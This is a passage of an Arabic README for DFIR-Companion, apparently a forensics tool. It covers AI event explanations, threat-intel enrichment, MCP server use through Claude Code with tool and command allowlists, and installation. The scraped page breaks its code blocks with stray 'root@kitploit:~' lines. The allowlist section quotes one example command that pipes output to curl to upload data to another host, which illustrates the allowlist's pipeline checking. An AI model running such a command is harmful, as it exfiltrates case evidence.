  • Explain This Event — زر AI 💡 لكل صف يشرح أي حدث طب شرعي في سياقه: ما حدث، ولماذا يهم، والعادي مقابل المشبوه، وتعيين ATT&CK، و1–3 استعلامات محورية قابلة للتشغيل (VQL/KQL/SPL)، وأدلة مؤيدة/معارضة؛ طبقة عرض مؤقتة
  • Ask the case (GraphRAG) — أسئلة وأجوبة حرة مستندة إلى الجدول الزمني + رسم بياني حتمي لسلسلة الأدلة؛ أسئلة متعددة القفزات يُجاب عنها عبر علاقات حقيقية
  • الوضع القائم على الفرضيات — فرضيات متتبَّعة الحالة مع روابط أدلة وترتيب بنمط ACH؛ الفرضيات المفتوحة توجّه التركيب، وتبقى عبر التركيب والأرشفة
  • مراجعة دحض الفرضيات عند الطلب — زر "Review" يُجري تمريرة مركّزة مؤيدة/معارضة على الفرضيات المفتوحة دون إعادة تشغيل التركيب الكامل
  • الأدلة المُميِّزة — كل ملاحظة تبيّن ما إذا كانت تفصل فرضية عن بدائلها أم تناسبها جميعًا؛ والحكم المجمّد الذي يتغيّر أساسه يُعلَّم للمراجعة

إثراء استخبارات التهديد (معطّل افتراضيًا — اختياري لكل قضية)

  • المصادر — VirusTotal، وHunting.ch (MalwareBazaar/ThreatFox/URLhaus/YARAify)، وCrowdStrike Falcon TI، وAbuseIPDB، وMISP، وYETI، وOpenCTI، وRockyRaccoon (انتشار العمليات + الأصل/الفرع الشاذ)، وCIRCL hashlookup (بحث تجزئة ملف معروف / معروف جيد بلا مفتاح — يقلل الإيجابيات الكاذبة)
  • كشف النطاقات المتشابهة / التصيّد الإلكتروني — مزوّد دون اتصال يعلّم النطاقات المنتحلة لعلامات تجارية شائعة (T1566/T1583.001)؛ مفعّل افتراضيًا
  • بنية IP التحتية — Reverse DNS (أسماء مضيف PTR)، وWHOIS عبر RDAP (netblock/ASN/جهة الاتصال للإبلاغ عن الإساءة)، وGeoIP (الدولة/المدينة/ASN/المؤسسة)، ومضيف Shodan (النطاقات المستضافة/المنافذ/الخدمات/CVEs)؛ طبقة السياق "من أين / من يملكه / ما المستضاف" — Reverse DNS/WHOIS/GeoIP بلا مفتاح، وShodan يعيد استخدام DFIR_SHODAN_KEY
  • محلي مقابل خارجي — MISP/YETI/OpenCTI على الصندوق؛ وSaaS من طرف ثالث اختياري لكل قضية؛ وتفعيل مصدر يعيد فحص جميع IOCs الموجودة
  • أحكام مؤرّخة وموثّقة المصدر — كل إصابة تحمل تواريخ المزوّد ومصدره ومنشئه؛ والتأكيدات المنتهية والملغاة تُحفظ وتُعلَّم، وIntel Retirement Review يسرد النتائج التي تقادمت استخباراتها
  • بوابة الوصول — فحص صحة للنسخ المستضافة ذاتيًا؛ واستئناف تلقائي عند العودة للاتصال

تعرض العملاء (منفصل عن إثراء IOC)

  • أصول المؤسسة الضحية فقط — HIBP، وLeakCheck، وDeHashed (اختراقات البريد الإلكتروني)، وShodan (المضيفون/المنافذ/CVEs المكشوفة)؛ اختياري لكل مزوّد
  • حد OPSEC — تُستعلَم فقط النطاقات التي أدخلها المحلل؛ ونطاقات الخصم/IOC لا تُرسَل أبدًا؛ وكلمات المرور الخام لا تُخزَّن أبدًا### لوحة المعلومات والتقارير
  • قمرة المحقق — يعرض عرض Now الافتراضي الأدلة والثغرات التالية وحواجز التقرير؛ يعرض Story so far بطاقة واحدة لكل مرحلة من مراحل سلسلة القتل وينسخها كملخص نصي عادي
  • لوحة معلومات مباشرة عبر WebSocket — أقسام قابلة للطي وإعادة الترتيب بالسحب، شريط النطاق، روابط أدلة قابلة للنقر، شارات
  • لوحة الأوامر (Ctrl+K / ⌘K) — بحث ضبابي في كل إجراءات لوحة المعلومات من نافذة واحدة
  • أيقونة المساعدة — زر ? بجانب ترس الإعدادات يفتح دليل المستخدم عبر الإنترنت في تبويب جديد
  • المهام الخلفية — نافذة منبثقة في شريط الأدوات تتبع عمليات الاستيراد والتركيب والإثراء، وتذكر إصدار النموذج الذي عمل عليه كل عمل ذكاء اصطناعي، وزر Cancel يوقف تشغيلًا عالقًا بشكل قسري
  • السمة الداكنة/الفاتحة — تبديل أو تفضيل نظام التشغيل
  • صفوف الجدول الزمني الجنائي — المضيف المتأثر + روابط النتائج القابلة للنقر؛ يحتوي التقرير على عمود Host
  • الإضافة اليدوية — تسجيل الأحداث/مؤشرات الاختراق الفائتة (موسومة بـ manual، تبقى بعد إعادة التحليل)
  • تقنيات MITRE ترتبط بـ attack.mitre.org
  • مخطط الأصل ↔ IoC، وسلسلة الأدلة، ومخطط تسجيل الدخول — تشترك في عرض Cytoscape تفاعلي واحد (5 تخطيطات، تصفية مباشرة، ملء الشاشة، تصدير PNG)، ولكل منها رموز عقد/أنماط حواف خاصة به (مفاتيح تبديل المضيف/الحساب/الخدمة، نسب العمليات، تسجيلات دخول ملونة حسب المخاطر)
  • مسار الجدول الزمني (Swimlane) — الخطورة/التكتيك × الوقت؛ انقر للتفاصيل، Shift-select للإجراء الجماعي، تصدير PNG
  • التقارير — Markdown + HTML + PDF (بنقرة واحدة) + Word (.docx) + ملفات CSV (النتائج/مؤشرات الاختراق/الجدول الزمني) + حالة JSON
  • فحص سلامة الأدلة قبل التصدير — يتم فحص كل تصدير قابل للقراءة البشرية مقابل مؤشرات القضية نفسها ونص الأدلة؛ يظل المؤشر المباشر أو الدليل غير المُهرَّب يُصدَّر، مع لافتة في المستند وتحذير في لوحة المعلومات

العمليات

  • تخزين قضايا SQLite مفهرس — قاعدة بيانات مدعومة بعامل، مقسّمة بمؤشر، تحل محل حالة القضية JSON المسطحة
  • عرض Essential / All في الإعدادات — يفتح على عرض منسّق من 43 عنصر تحكم بدلًا من جميع الحقول البالغ عددها ~257؛ يُحفظ لكل متصفح
  • Health / Diagnostics — Settings → Diagnostics عرض مشغّل من صفحة واحدة: استخدام القرص، عدد القضايا، قائمة انتظار الالتقاط/التركيب، إعدادات AI منقّحة + Test AI connectivity المباشر، محاولات المستورد (24 ساعة/7 أيام) + الإخفاقات الأخيرة؛ حساب أحجام القضايا عند الطلب؛ نسخ إلى الحافظة بدون مفاتيح
  • لوحة إحصاءات القضية — الإجماليات لكل قضية، وتفصيل المصادر، وسرعة الاستيراد في Diagnostics
  • تتبع تكلفة الذكاء الاصطناعي لكل قضية — تعرض Settings → Diagnostics بطاقة "AI cost — this case": الاستدعاءات، والتكلفة بالدولار، وأعداد الرموز حسب Vision/Synthesis/Other وحسب النموذج، مقروءة من أعداد التكلفة/الرموز الحقيقية لكل استدعاء من المزوّد (لا $0.00 مُختلق أبدًا عندما لا يبلّغ المزوّد عنها)
  • حد استيعاب الأحداث القابل للتكوين (DFIR_MAX_EVENTS) — يتجاوز الحد الآمن الافتراضي البالغ 2000 حدث لكل استيراد
  • منصة اختبار انحدار/تقييم المطالبات — اختبار آمن لـ CI واختبار مخرجات ذهبية بمزوّد حقيقي لجودة استخراج/تركيب الذكاء الاصطناعي
  • التسجيل — وحدة التحكم + سجل الجلسة العام + مسار تدقيق لكل قضية؛ تبديل مباشر لـ DFIR_LOG_LEVEL؛ debug يتتبع الذكاء الاصطناعي/الالتقاطات/OCR/إخفاء الهوية
  • إضافة المتصفح — Chrome/Comet من Chrome Web Store، أو Firefox 140+ من أي إصدار؛ يحتاج إلى الخادم المحلي
  • ملف Windows EXE محمول — فك الضغط + انقر نقرًا مزدوجًا، لا يتطلب Node
  • حزمة Chocolatey — choco install dfir-companion؛ تنزيل + التحقق من البناء المحمول + تضمين إضافة الالتقاط، البيانات في

استخدام خوادم MCP الخاصة بك

يمكن للـ Companion توجيه أدلة القضية إلى خوادم MCP التي تشغّلها أنت — محطة عمل SIFT، أو جهاز REMnux، أو خدمة خط أساس لفرز Windows — بحيث تُحلَّل الأدلة على جهاز يمتلك الأدوات.

لا يصل إليها إلا عبر Claude Code. الـ Companion ليس عميل MCP: فهو لا يحمل عنوان URL لأي خادم، ولا رمز bearer، ولا يبدأ أي npx أو uvx خاص به. Claude Code مُهيّأ بالفعل بخوادمك ويحمل بالفعل بيانات اعتمادها، فهو من يتحدث والـ Companion يطلب منه ذلك.

المتطلبات الأساسية

تعمل هذه الميزة بأكملها فقط إذا:

  1. كان Claude Code مثبتًا ومُصادَقًا عليه على الجهاز الذي يشغّل الـ Companion — ليس على حاسوبك المحمول، بل على مضيف الـ Companion. اضبط DFIR_AI_CLAUDE_CODE_BIN إذا لم يكن claude على PATH الخاص به.
  2. كانت خوادم MCP الخاصة بك مُهيّأة في Claude Code (claude mcp add …، أو ملف تهيئته)، و يعرض claude mcp list أنها متصلة.

لا يوجد بديل احتياطي. إذا شغّلت الـ Companion في Docker، أو من AppImage، أو من بناء Windows المحمول دون Claude Code بجانبه، فستخبرك مسارات MCP بذلك ولا شيء غير ذلك.

هناك نتيجتان جديرتان بالمعرفة قبل الاعتماد عليه. كل استدعاء MCP يمر عبر نموذج، لذا فهو يستهلك رموزًا وليس الاستدعاء الحتمي بتًا بتًا الذي سيكون عليه طلب JSON-RPC مباشر — فالمطالبة تجعله ناقلًا (أداة واحدة، وسائط دقيقة، مخرجات حرفية) لكن النموذج لا يزال في المنتصف. ولأن الخوادم تأتي من تهيئة Claude Code الخاصة به بدلًا من تهيئة مُولَّدة، فإن Claude Code يبدأ كل خادم مُهيّأ عليه في كل تشغيل، وليس فقط الخادم المستخدم؛ فقائمة السماح تحدّ ما يجوز استدعاؤه، لا ما يُطلَق.

في Settings → Tools، اضغط Refresh from Claude Code لتحميل قائمة خوادمه، ثم اسمح لواحد وحدد ما يجوز له فعله. لا شيء لتكتبه سوى السياسة — أسماء الخوادم تأتي من Claude Code نفسه، لذا لا يمكن لخطأ مطبعي أن يتركك بإدخال يطابق لا شيء بصمت.

تشغيل أداة ضد أدلة القضية

POST /cases/<id>/mcp/<serverId>/run مع { tool, args, targetPath }. ضع <target> حيثما تتوقع الأداة مسار الأدلة — يُستبدل بالمسار على مضيف التحليل بعد تشغيل التسليم، فالوسيط الذي تكتبه هو الوسيط الذي تستقبله الأداة:```json { "tool": "run_command", "args": { "command": ["vol.py", "-f", "", "pslist"] }, "targetPath": "imports/memory.raw" }

root@kitploit:~
يتم حل `targetPath` داخل دليل الحالة؛ ويُرفض أي شيء خارجه. بالنسبة لعيّنة يحتفظ بها المتصفح ولا يملك الخادم مسارًا إليها، يأخذ `POST /cases/<id>/mcp/<serverId>/run-upload` بدلاً من ذلك `{ filename, dataBase64 }` ويُهيّئ البايتات داخل الحالة أولاً.

كلاهما يعيد **202 مع معرّف مهمة** بدلاً من الحجب. تشغيل Volatility حقيقي يتجاوز أي مهلة طلب معقولة، لذا يكون التشغيل مهمة خلفية مع تقدّم وزر إلغاء وبثّ `job_changed` عبر WebSocket. تتدفق النتيجة إلى الحالة عبر نفس سلسلة الاستيراد كأي أداة أخرى — أحداث الخط الزمني والنتائج ومؤشرات الاختراق، مع نقطة استعادة للتراجع — فلا يختلف شيء في قراءة النتيجة عن استيراد عادي. يُوجَّه المخرَج المهيكل إلى المستورِد المطابق؛ أما النثر غير المهيكل فيسقط إلى مسار السجل العام بدلاً من رفضه.

الأداة التي تبلّغ عن فشلها الذاتي تُفشِل المهمة بدلاً من استيعابها: رسالة الخطأ تشخيصية وليست أثرًا، وإدراجها في الخط الزمني سيجعلها تبدو كدليل.

### المعاينة قبل الاستيراد

**مفعّلة افتراضيًا**، ويستحق إبقاءها كذلك. سيعيد خادم MCP البيانات المرجعية بنفس سهولة الأدلة — اسأل SIFT عن الأدوات التي يملكها فتحصل على جرد JSON مطابق بنيويًا لجدول Volatility: مصفوفة من الكائنات بلا طوابع زمنية. لا يستطيع أي كاشف التمييز بينهما، لذا تفعل المستورِدات ما بُنيت لأجله وتستخرج كل مسار فيه كمؤشر ملف. قائمة قدرات واحدة تعني بضع عشرات من مؤشرات الاختراق التي لم ترغب بها الحالة أبدًا.

مع تفعيل المعاينة، يجلب التشغيل المخرَج ويتوقف. ترى البايتات والحجم والنوع الذي *سيُستورد* كـه، وتختار. الموافقة تستوعب **بالضبط البايتات المجلوبة بالفعل** — لا تعيد تشغيل الأداة أبدًا، لذا يكلف تشغيل Volatility لمدة عشرين دقيقة عشرين دقيقة مرة واحدة، وأداة ذات آثار جانبية تنفّذها مرة واحدة. التجاهل يرمي المخرَج بعيدًا وتبقى الحالة دون مساس.

أرسل `preview: true` على التشغيل لاستخدامه من واجهة API، ثم `GET` أو `POST …/import` أو `DELETE` على `/cases/<id>/mcp/preview/<jobId>`.

لا شيء هنا بديل عن الحكم بشأن ما يجب تشغيله، والاستيراد دون معاينة ليس خطيرًا — كل استيراد MCP يدفع نقطة استعادة للتراجع، لذا فإن تشغيلًا يتبيّن أنه ضجيج يبعد نقرة واحدة عن التراجع عنه.

### ما يمنحه استخدام خادم

**افتراضيًا، كل ما يقدّمه الخادم.** هذا متعمّد: Claude Code يسمح لك بالفعل باستدعاء أي أداة على أي خادم قمت بتهيئته، لذا فإن إلزامك بإعادة تعدادها هنا كان سيكون أكثر صرامة من استخدامك اليومي — ومكانًا ثانيًا لوصف الخادم نفسه.

يجدر معرفة ما يتضمنه "كل شيء". بعض الخوادم تكشف أدوات دقيقة — `check_service`، `check_autorun`، واحدة لكل سؤال. وأخرى تكشف **مشغّل أوامر** واحدًا ينفّذ أي شيء تسلّمه إياه: `run_command` في SIFT يذكر أنه يستطيع تنفيذ "معظم الأدوات المثبّتة في SIFT … بما في ذلك curl وwget وdd وfdisk وpython3"، و`run_tool` في REMnux يأخذ خط أنابيب shell كاملاً. استخدام مثل هذا الخادم من الرفيق يعني تنفيذ أوامر على ذلك المضيف — معقول على شبكة جنائيات معزولة، حيث صناديق التحليل ملكك والأدلة موجودة أصلاً على شبكتك المحلية، وغير معقول في أي مكان آخر.

قائمتان **اختياريتان** تضيّقان ذلك عندما تريد:

| الإعداد | ينطبق على | الفراغ يعني |
|---|---|---|
| **Restrict to tools** | كل استدعاء | كل أداة يقدّمها الخادم |
| **Restrict to commands** | الاستدعاءات التي تحمل وسيط أمر | لا قيد على الأوامر |

تُطابَق الأوامر **بالاسم الأساسي**، لذا `grep` و`/usr/bin/grep` قاعدة واحدة. تُفحص كل مرحلة من خط الأنابيب، وليس الأولى فقط — `oledump.py s.doc | curl -T - http://elsewhere` يحتاج إلى السماح بكل من `oledump.py` و`curl`. الأمر الذي يستخدم استبدال shell (`$(…)`، علامات الاقتباس الخلفية، `${…}`) يُرفض رفضًا قاطعًا، لأن ما سينفّذه لا يمكن معرفته مسبقًا.

**ما لا تفعله قائمة الأوامر.** إنها تحدّ *أي* الملفات التنفيذية تعمل، وليس ما يمكن لملف تنفيذي مسموح به أن يفعله — السماح بـ `dd` يسمح بالكتابة إلى أي مسار يمكن لمستخدم ذلك الخادم الكتابة إليه؛ والسماح بـ `python3` يسمح بشيفرة عشوائية. كما أنها تعتمد على أسماء معاملات معروفة (`command`، `cmd`، `argv`)، لذا فإن خادمًا يسمّي معامل أمره شيئًا غير معتاد لا يُلتقط. إنها موجودة لمساعدة مشغّل يريد تضييق وصوله الخاص، لا لاحتواء خادم ما كان ينبغي له تهيئته أصلاً.

### إيصال الأدلة إلى الخادم

لا يملك MCP أي عنصر أساسي لنقل الملفات، ولا يمكن لصورة ذاكرة بحجم عدة غيغابايت أن تنتقل داخل وسيط أداة، لذا يجب أن يكون الملف موجودًا بالفعل في مكان يستطيع الخادم فتحه. يبقى هذا الجزء مهمة الرفيق — لا يستطيع Claude Code نقل صورة إلى صندوق تحليل. يختار كل خادم أحد مسارين:

**`remote-path`** (افتراضي) — الدليل مرئي بالفعل لمضيف التحليل عبر تركيب مشترك. عيّن بادئة محلية وبادئة بعيدة ويُعاد كتابة المسار (`/srv/cases/…` → `/mnt/dfir/…`)؛ اترك كليهما فارغين عندما يكون التركيب على نفس المسار على الجانبين. لا يُنسخ شيء.

**`scp`** — يدفع الرفيق الملف إلى دليل تهيئة، وتعمل الأداة، ثم تُحذف النسخة المهيّأة بعد ذلك. هيّئ `host` و`remoteDir`، واختياريًا `user` و`port` و`identityFile`.

أربعة أمور يجب معرفتها قبل اختيار `scp`:

- **يجب أن يكون مفتاح المضيف موثوقًا بالفعل.** `BatchMode` مفعّل و`StrictHostKeyChecking` *ليس* معطّلاً، لذا يفشل مضيف غير معروف بـ `Host key verification failed` بدلاً من الوثوق بأي شيء أجاب على العنوان. اتصل يدويًا مرة واحدة (أو أضف المفتاح إلى `known_hosts`) أولاً. هذا متعمّد: القبول الصامت لمفتاح غير موثّق سيسلّم الأدلة لأي شخص يملك عنوان IP.
- **المصادقة قائمة على المفتاح فقط.** `BatchMode` يعني أن ssh لا يطلب أبدًا، لذا لا يمكن لخادم يعتمد على كلمة مرور فقط أن يعمل. وجّه `identityFile` إلى مفتاح بلا عبارة مرور، أو حمّله في وكيل يستطيع عملية الخادم الوصول إليه.
- **لا يوجد تقدّم ولا استئناف.** نسخة بحجم 16 غيغابايت غامضة حتى تنتهي أو تفشل، واتصال منقطع يعني البدء من جديد. النقل قابل للإلغاء وله مهلة خاصة به مدتها ساعة، منفصلة عن مهلة استدعاء الأداة.
- **المضيف والمستخدم والدليل البعيد مقيّدة بمجموعة محارف محافظة** (حروف، أرقام، نقطة، شرطة، شرطة سفلية، و`/` للدليل). يصل `user@host` إلى ssh بلا اقتباس، لذا يُرفض أي شيء له معنى في shell عند حفظه بدلاً من وقت النقل. يُشتق اسم الملف المهيّأ من اسم الدليل ويُنقّى بالطريقة نفسها.

يسجّل أي من المسارين **حدث `transferred` لسلسلة الحيازة** يسمّي الوجهة، لذا يُظهر ملف الحالة أن الأدلة غادرت هذا الجهاز، ومتى، وإلى أين. النقل الذي يفشل لا يسجّل شيئًا — لا تدّعي السلسلة أبدًا نسخة لم تحدث.

### تحقيقات MCP باللغة العادية

لا يستطيع استدعاء أداة واحد متابعة خيط. "حقّق في هذا التفريغ" يريد حلقة — شغّل pslist، لاحظ شيئًا، انتقل إلى malfind — وهذا ما يفعله الوضع الوكيلي: يتيح لـ Claude Code القيادة ضد الخادم الذي سمحت به، ثم يدمج ما يبلّغ عنه. هذا هو سير عمل MCP الأساسي في لوحة التحكم: اكتب الهدف باللغة العادية، اختر الدليل أو تصفّح إليه، اختر تطبيق MCP، واضغط **Investigate**. أسماء الأدوات ووسائط JSON متاحة فقط تحت قسم الاستدعاء اليدوي المتقدم.

`POST /cases/<id>/mcp/agent` مع `{ prompt, servers?, targetPath?, preview? }`، أو `POST /cases/<id>/mcp/agent-upload` مع `{ prompt, servers, filename, dataBase64, preview? }`.

**اقرأ هذا قبل السماح بخادم.** في تشغيل يدوي يتحكم الرفيق في كل استدعاء، لذا يمر كل استدعاء بقوائم السماح للأدوات *و*الأوامر. في الوضع الوكيلي ليس كذلك: `claude` يتحدث إلى الخوادم مباشرة. تبقى قائمة السماح للأدوات فقط، كـ `--allowed-tools`. **لا يمكن فرض قائمة السماح للأوامر.** لذا فإن السماح لوكيل باستخدام أداة مشغّل أوامر يمنح حلقة مستقلة القدرة على اختيار سطور أوامرها الخاصة على ذلك المضيف.

السماح بخادم MCP وتفعيله في الرفيق هو حدّ الإذن لهذا الوضع. يظل قيد أدوات الخادم ساريًا. لا يمكن لقيد الأوامر تقييد الحلقة المستقلة؛ إنه ينطبق فقط على الاستدعاءات اليدوية المتقدمة.

ما يضمنه الوضع رغم ذلك: يُمرَّر قيد أدوات صريح أداة بأداة؛ والقيد الفارغ يسمح عمدًا بكل أداة يكشفها ذلك الخادم. تُستبعد إعدادات المشروع/المحلية وملفات `CLAUDE.md` والخطافات، ويكون التشغيل محدودًا بعدد الأدوار. تبقى إعدادات مستخدم Claude Code مفعّلة لأنها حيث توجد اتصالات خادم MCP الخاصة به.

يُتحقق من صحة رد الوكيل وفق المخطط ويُجرَّد من ادعاءات المصدر قبل دمجه — فكل ما رآه جاء من مخرَج أداة، وهو غير موثوق. لا يُطلب منه أبدًا ملخص حالة، لذا يضيف التشغيل نتائج ومؤشرات اختراق وأحداثًا دون إعادة كتابة استنتاجاتك. المعاينة تعمل هنا أيضًا، وتهم أكثر: حلقة مستقلة تقرر بنفسها ما تبلّغ عنه.

التحقيق محدود بـ 40 دورًا. إذا استهلك Claude Code تلك الميزانية أثناء استخدام الأدوات، يستأنف الرفيق الجلسة نفسها مرة واحدة مع تعطيل كل الأدوات ويطلب منه التبليغ فقط من الأدلة المجمّعة بالفعل. يحافظ هذا على حدّ الأمان دون فقدان تحقيق مكتمل لمجرد أن JSON النهائي كان سيكون الدور التالي.

### بيانات الاعتماد

لا يوجد شيء لتهيئته هنا. رموز Bearer والترويسات والناقلات كلها موجودة في تهيئة MCP الخاصة بـ Claude Code، وهي المكان الوحيد الذي يحتفظ بها. يخزّن الرفيق *اسم* خادم وقائمة سماح وكتلة تسليم — لا شيء يمكّنه من الاتصال بأي شيء بمفرده.

تحذير واحد إن ذهبت للبحث: `claude mcp list` يطبع سطر الأوامر الكامل لكل خادم، والذي يتضمن بالنسبة لمدخل `mcp-remote` رمز Bearer بنص صريح. يحلّل الرفيق الاسم وحكم السلامة فقط من ذلك المخرَج ولا يخزّن أو يسجّل أو يعرض الباقي أبدًا — لكن كن حذرًا بشأن مكان تشغيل ذلك الأمر بنفسك.

## تخطيط المستودع```
52.43-DFIR-Companion/
├── companion/         Node/TS localhost server (the core). See companion/README.md.
├── extension/         MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│   └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│   └── superpowers/plans/   The original 4 implementation plans.
├── Dockerfile         Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/             Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.

كيف تتكامل الأجزاء```

Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘

root@kitploit:~
**تحليل على مرحلتين:** يقرأ نموذج رؤية منخفض التكلفة كل لقطة شاشة إلى الجدول الزمني
الجنائي؛ ويقوم نموذج أقوى باستدعاء التوليف الشامل الواحد (النتائج، MITRE،
مسار المهاجم، الأسئلة). قم بتهيئة كليهما عبر `.env` — انظر `companion/README.md`.

## البدء السريع

> **المتطلب الأساسي:** [Node.js](https://nodejs.org/) **22.19 أو أحدث** (الذي يأتي مع `npm`).
> تحقق باستخدام `node --version`. كل ما يلي يستخدم `npm`، لذا لا حاجة لبيئة تشغيل أخرى.
> يستخدم تخزين الحالات المفهرس وحدة `node:sqlite` المدمجة، لذا لا يمكن لإصدارات Node الأقدم فتح
> الحالات. تتضمن النسخة المحمولة بيئة تشغيل متوافقة.

1. **Companion** (الخادم):   ```
   git clone https://github.com/hasamba/DFIR-Companion.git
   cd DFIR-Companion/companion
   npm install
   cp .env.example .env      # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
   npm run dev               # serves http://127.0.0.1:4773  (dashboard at /dashboard)
  1. الإضافة (الالتقاط):

    الأسهل: التثبيت مباشرة من متجر Chrome الإلكتروني. على Firefox 140+، نزّل dfir-capture-extension-firefox-*.zip من أحدث إصدار وفك ضغطه.

    أو ابنِ من المصدر: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json

    root@kitploit:~

على Firefox، حمّله من about:debugging#/runtime/this-firefox → Load Temporary Add-on… واختر ملف manifest.json (Chrome يطلب المجلد؛ Firefox لا يفعل). يُسقط Firefox الإضافات المؤقتة عند إعادة التشغيل، لذا كرّر ذلك في كل جلسة — لا يوجد إدراج على AMO بعد، لذا فإن ملف zip الخاص بالإصدار غير موقّع ولا يمكن تثبيته بشكل دائم.

ما الذي يجمعه، بما أن التحميل المؤقت لا يسأل أبدًا. يعرض Firefox إشعار جمع البيانات الخاص به فقط للإضافة الموقّعة المثبّتة بالطريقة العادية؛ أما about:debugging فيمنح كل شيء بصمت. تُصرّح الإضافة بـ نشاط التصفح (يحمل الالتقاط عنوان URL للتبويب وعنوانه) ومحتوى الموقع (لقطة الشاشة، والصفوف التي يجمعها Push). ترسل الإضافة البيانات إلى عنوان الرفيق الذي تهيّئه ولا مكان آخر؛ وما يعيد الرفيق توجيهه بعد ذلك — يقرأ نموذج رؤية لقطات الشاشة، ويقرأ تركيب الذكاء الاصطناعي الصفوف، وتستعلم خدمات السمعة لأغراض الإثراء — هو تهيئة الرفيق نفسه. انظر extension/PRIVACY.md.

النافذة المنبثقة تتصل فقط بحالة موجودة — أنت تنشئ الحالات في لوحة التحكم.

  1. افتح http://127.0.0.1:4773/dashboard، وانقر على + New case لإنشاء حالتك (تتصل تلقائيًا). ثم في النافذة المنبثقة للإضافة اختر تلك الحالة من القائمة المنسدلة Case (Refresh cases إذا لم تكن مدرجة بعد) ثم Start. تصفّح أدلتك — تتحدّث لوحة التحكم مباشرةً.

هل تحدّث نسخة موجودة؟ بعد git pull، أعد تشغيل npm install في كلا مجلدَي companion/ وextension/ — قد تضيف الميزات الجديدة تبعيات (مثل تنقيح OCR للقطة الشاشة الذي أضاف tesseract.js). ثم أعد تشغيل npm run dev (يُحمَّل كود الخادم مرة واحدة عند بدء التشغيل).

التهيئة الكاملة، ونقاط نهاية HTTP، وتخطيط مجلد الحالة، ونموذج التحليل موثّقة في companion/README.md.

Docker / Docker Compose

شغّل كل شيء — خادم الرفيق + لوحة التحكم + إضافة المتصفح — في حاوية واحدة. لا يتم تضمين Ollama أو LiteLLM؛ بالنسبة للذكاء الاصطناعي توجّه DFIR_AI_* إلى أي نقطة نهاية متوافقة مع OpenAI (نموذج تستضيفه أنت، أو مزوّد بعيد، أو Ollama/LiteLLM تشغّله بشكل منفصل). مع ترك الذكاء الاصطناعي غير مضبوط، لا تزال الحاوية تقوم بالالتقاط الكامل وجميع أدوات الاستيراد الحتمية.

المتطلب الأساسي: Docker مع إضافة Compose (docker compose version).

مقتصر على localhost بحكم التصميم: تربط الحاوية 0.0.0.0 داخليًا، لكن Compose ينشر المنفذ على 127.0.0.1 على مضيفك — لذا لا تُعرَّض لوحة التحكم أبدًا على شبكتك.

  1. شغّله (البناء من المصدر): ``` git clone https://github.com/hasamba/DFIR-Companion.git cd DFIR-Companion docker compose up -d --build # → http://127.0.0.1:4773/dashboard
    root@kitploit:~

أو اسحب الصورة المُعدّة مسبقًا من GHCR بدلاً من البناء: ``` docker compose pull && docker compose up -d

image: ghcr.io/hasamba/dfir-companion:latest

root@kitploit:~
2. **حمّل الإضافة** (الالتقاط). يكتب الحاوية الإضافة المُجمَّعة مسبقًا وغير المُحزَّمة إلى
`./addon` عند أول تشغيل. في Chrome/Comet افتح `chrome://extensions`، وفعِّل **وضع
المطوِّر**، وانقر على **Load unpacked**، واختر **`./addon/dist`** (يُسقَط هناك أيضًا ملف
`dfir-companion-extension.zip` المُحزَّم).

3. افتح `http://127.0.0.1:4773/dashboard`، وانقر على **+ New case**، ثم اختر تلك الحالة في
نافذة الإضافة المنبثقة وانقر على **Start**.

**البيانات والإعدادات:**
- تستمر الأدلة وحالة الحالة في **`./cases`** على المضيف (وحدة تخزين مُثبَّتة) — تبقى عبر
عمليات إعادة التشغيل وإعادة بناء الصور.
- قم بالتهيئة عبر كتلة `environment:` في [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml)، أو
أزل التعليق عن `env_file: - .env` لاستخدام ملف `.env` (انسخ `companion/.env.example`).
- للوصول إلى نقطة نهاية AI تعمل على المضيف، استخدم `http://host.docker.internal:<port>/v1`
(على Linux بدون Docker Desktop، أزل التعليق أيضًا عن سطر `extra_hosts` في ملف compose).

## Windows (Chocolatey)

ثبِّت إصدار Windows المحمول باستخدام [Chocolatey](https://chocolatey.org/) — لا حاجة إلى
Node.js. في صدفة مرفوعة الصلاحيات:```
choco install dfir-companion
dfir-companion            # → http://127.0.0.1:4773/dashboard

choco upgrade dfir-companion يجلب الإصدار التالي؛ choco uninstall dfir-companion يزيل الملف التنفيذي و PATH shim. يقوم المثبّت بتنزيل نفس ملف zip المحمول المنشور على صفحة الإصدارات ويتحقق من SHA256 الخاص به.

بياناتك موجودة في ملف تعريف المستخدم الخاص بك، وليس في دليل التثبيت المملوك للمسؤول: الحالات في %LOCALAPPDATA%\DFIR-Companion\cases والإعدادات في %LOCALAPPDATA%\DFIR-Companion\.env (مُهيأة من المثال؛ عدّلها لمفاتيح AI / threat-intel — جميعها اختيارية). إلغاء التثبيت يحتفظ بهذا المجلد حتى لا يتم حذف الأدلة أبدًا. لا يتم إنشاء قاعدة جدار حماية — الخادم يرتبط بـ 127.0.0.1 فقط.

إضافة الالتقاط مضمّنة على القرص في %LOCALAPPDATA%\DFIR-Companion\extension من أجل التثبيت دون اتصال (مفيدة على محطات العمل المعزولة) — حمّلها عبر chrome://extensions → وضع المطور → Load unpacked → ذلك المجلد، أو ثبّتها من Chrome Web Store بمجرد نشرها. لا يتم تثبيتها تلقائيًا في المتصفح.

ليس بعد على مستودع مجتمع Chocolatey؟ حتى يتم نشرها هناك، احصل على dfir-companion.<version>.nupkg من الإصدار و choco install dfir-companion --source . من مجلدها. التغليف موجود في packaging/chocolatey/.

Linux (AppImage)

